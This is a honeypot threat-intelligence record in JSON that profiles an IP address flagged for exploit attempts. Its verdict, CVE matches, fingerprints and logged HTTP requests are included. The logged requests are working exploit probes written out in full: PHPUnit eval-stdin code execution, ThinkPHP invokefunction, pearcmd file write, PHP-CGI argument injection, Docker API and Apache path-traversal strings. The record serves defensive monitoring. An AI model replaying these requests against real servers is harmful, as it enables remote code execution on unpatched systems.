{"ip":"178.88.115.30","total_events":101,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":"nsp","why":["45 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 1,221,918 bytes: sustained payload delivery, not a single opportunistic request.","Held a session open for 64s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"1,221,918 bytes sent, longest session 64s","bytes_sent":1221918,"session_seconds":64,"persistent":true}},"first_seen":"2026-09-25T22:13:00","last_seen":"2026-09-29T01:54:12","events_24h":0,"events_7d":50,"geo":{"country_code":"KZ","country_name":"Kazakhstan","region":"Almaty","city":"Almaty","lat":43.2525,"lon":76.9115,"asn":9198,"org":"JSC Kazakhtelecom"},"source_domain":"ktcl2.kazcloud.com","known_scanners":[],"scanner_tag":{"key":"peeringdb:as9198","label":"Kazakhtelecom","category":"isp","url":"https://www.peeringdb.com/asn/9198"},"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":98},{"port":2222,"proto":"tcp","label":"SSH-alt","count":2},{"port":2375,"proto":"tcp","label":"Docker","count":1}],"fingerprints":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b503031a194520a3ee8ab5efe5edb8d31c0ffd2ceded7a302956b3157ebf3e416735c4205fa8ce40c1fdf424cd52c92eb3f88a287ec2fc9cf2092d434d3437934505785e0024caca130313011302cca9cca8c02bc02fc02cc030c009c013c00ac014009c009d002f0035010005489a9a000000170000ff01000100000a000c000afafa11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04edfafa00010011ec04c0ccd20680ebb8a79a8691c7872ac2a5415ba8e098c464064f61272a1d313e823c8d6a0452fe0bd06e60b17ac9ca014959136749b7d35400babe65c99af7aba79656b7d96b3bc1270c00aa23c870cc45d9b47da5ad7cfa7c8d80091786ce7a883b2ee0a291a8acff2b180be85e97c49e0191487f97c1ad05af9764082cb6791340b4139bbd69d95ab58b481cec24bbf3b2b7ac8096702eaf3668d7100ca48274b2936f82dc1f4fa0851069c3db59b44d933e5a86678761026a4aa3b52491feda29a176ca1ec76b1a7309c2d037a34b6f41235300e2ccb3279742d16bdf66420184be28a53137b06c9b313c88db1be8d3a0e1307059288f90508930a61e1a916f03b40c4dd084424432a0d61d2b309f6eb09825940c21f533c48c3901935b9187726c6a3b39b84fd7e979749cac1b601d73a069c77b5b2b4b42e3d317b54458e8c0c73838141f106d942a162cb6b34ef4487c19ab90e2b5a35b7c0743b8a6210c1ce20c7ec2bfc453471bfc22b04393222067b3a84b82767d32e890c41241ff4b0bc0c6123e8843be58b9dca68470906a394850aa1aa80cf4b45c816945ec1b6dd8bc8d6a3d59a6c018859386f5995238c73bd6a4a405b753a2a9b9dcc4d4db8a7d464e5ab80673fa8293200d9b88298bea8ae949caf9fac4d8fc7029ea6483753497d9af9b92075529b4c1087958ac1dd75953c4c76951d6bc62c5895067a9ec06542fd21dafbb811ca429f4bbc284212d5b76442e249739d9820b9618205495b9d59cc1055671478fb65cbf78c815a5c99c567350c1349d5b039d2e8039e0b57e8d72685d9b0021e19f512c7b4cb445771b41e26618d5d90dda503b0df8525b7b461cf7c0633098152b3ffe34778c23526d6714c3781c5bd92742f1ac40699206e726cd5a1901e0bf36a0a404560d4fb2c031a60bb595bd8697ae883abef295398df51d32d13dc095a40fd70ffca0b0eac61cf7a550b7b31d74a6c864f9adfc2289f3aaa2cdb86b0428148c8cc82ac18ed45411775a2621d009911ba454c198f45753d5b71c85e97123006cdfe2bc6c3246f0db0e0f983ef9a8547890960539213fa0386c93cc44c513cd209dbe8659100311398418c38cbbd19930a4956113a78def27a8eec75d9478b7106a768f09a009ac23caca7c4e84140ae569f040a56e1aa5508bcf8f3a2d45860fc01908d997318b33adea37b0acb7766b1cb154a310c015215445bdfe470ded8680d6367f9da86ebdf0ca039a62837c47242556891549f194435b7464dd0acc5853370bc56f88c2cdc5b040b1bb40b062966a1421f1c25f2a34b47349972f1989f4e1361a5b5ff2eb3aaaa773f0f917856c33df322bb8264a58e6b67c0a71d13b24712521e8c169531102ec2182ca5bb1aed8aa9061a7a4574877a2a138b94e5b939e00fc113789c6f9d9760092cc368b825c040d04da2169fc8e654a7702584b8bc928f7066923e2565d1a720e203805e55468519c6182a6b5548b87508e90e04643e8c7e212320751a4010a5f9a1917e2301f4f736fd0223a306373868607a2388183a687d071cf770a224ceabe8f6aaa275a9a33e3807aa57e0a67b4c2c18217a4857dc81ac2c61e5a8b13d878aaae903a4ac71fd26f8bd3808e6de567073d898409f38505cf7c548decc93600dada6a1f357e18f6ac8d023bb1927c7e160b2d4dbb83aed28c376a5a3d1622cdd537fbc93da538001d0020ecc51abb8786cf2a79c91e8b7e125018aa6b81b6b6bed56f9fe9f3d6cb26645c002d00020101002b000706eaea030403038a8a0001","tls_ja3":["10a627ad22b67741a3319a1d42cbf0a6"],"http_akin":["b11cun050_00040035_dd905059","b11cuq070_00050835_c0b30902"]},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":136,"19532158b559096b89b1a5f7d17175b2":165,"b11cun050_00040035_dd905059":267,"b11cuq070_00050835_c0b30902":209},"akin_families":{},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-09-25","count":1},{"date":"2026-09-26","count":50},{"date":"2026-09-28","count":1},{"date":"2026-09-29","count":49}],"recent_events":[{"timestamp":"2026-09-29T01:54:12","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"10a627ad22b67741a3319a1d42cbf0a6","session":"08575677-31e5-479b-b029-9ea589a56494","seq":49,"duration_ms":47228,"bytes_in":19190,"bytes_out":3822},{"timestamp":"2026-09-29T01:54:11","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"10a627ad22b67741a3319a1d42cbf0a6","session":"08575677-31e5-479b-b029-9ea589a56494","seq":48,"duration_ms":46170,"bytes_in":19036,"bytes_out":3744},{"timestamp":"2026-09-29T01:54:10","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"10a627ad22b67741a3319a1d42cbf0a6","session":"08575677-31e5-479b-b029-9ea589a56494","seq":47,"duration_ms":45057,"bytes_in":18848,"bytes_out":3666},{"timestamp":"2026-09-29T01:54:08","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"10a627ad22b67741a3319a1d42cbf0a6","session":"08575677-31e5-479b-b029-9ea589a56494","seq":46,"duration_ms":43855,"bytes_in":18590,"bytes_out":3588},{"timestamp":"2026-09-29T01:54:07","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"10a627ad22b67741a3319a1d42cbf0a6","session":"08575677-31e5-479b-b029-9ea589a56494","seq":45,"duration_ms":42696,"bytes_in":18342,"bytes_out":3510},{"timestamp":"2026-09-29T01:54:06","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f617070732f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"10a627ad22b67741a3319a1d42cbf0a6","session":"08575677-31e5-479b-b029-9ea589a56494","seq":43,"duration_ms":41072,"bytes_in":17829,"bytes_out":3354},{"timestamp":"2026-09-29T01:54:06","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f6170702f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"10a627ad22b67741a3319a1d42cbf0a6","session":"08575677-31e5-479b-b029-9ea589a56494","seq":44,"duration_ms":41894,"bytes_in":18101,"bytes_out":3432},{"timestamp":"2026-09-29T01:54:05","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f7075626c69632f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"10a627ad22b67741a3319a1d42cbf0a6","session":"08575677-31e5-479b-b029-9ea589a56494","seq":42,"duration_ms":40288,"bytes_in":17556,"bytes_out":3276},{"timestamp":"2026-09-29T01:54:04","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f70616e656c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"10a627ad22b67741a3319a1d42cbf0a6","session":"08575677-31e5-479b-b029-9ea589a56494","seq":41,"duration_ms":39350,"bytes_in":17281,"bytes_out":3198},{"timestamp":"2026-09-29T01:54:03","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f776f726b73706163652f64727570616c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"10a627ad22b67741a3319a1d42cbf0a6","session":"08575677-31e5-479b-b029-9ea589a56494","seq":40,"duration_ms":37932,"bytes_in":17007,"bytes_out":3120}],"http_methods":[{"method":"GET","count":85},{"method":"POST","count":14}],"distinct_ports_total":3,"top_paths":[{"path":"/containers/json","count":3,"ports":2},{"path":"/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":1},{"path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":2,"ports":1},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":1},{"path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":2,"ports":1},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":1},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":2,"ports":1},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":1},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":1},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":1},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":2,"ports":1},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":2,"ports":1},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":1},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":2,"ports":1},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":1}],"distinct_paths_total":49,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-libssh2_1.11.1","count":2}],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:443","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"]},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"]}],"data_as_of":"2026-10-04T13:40:37.233379+00:00"}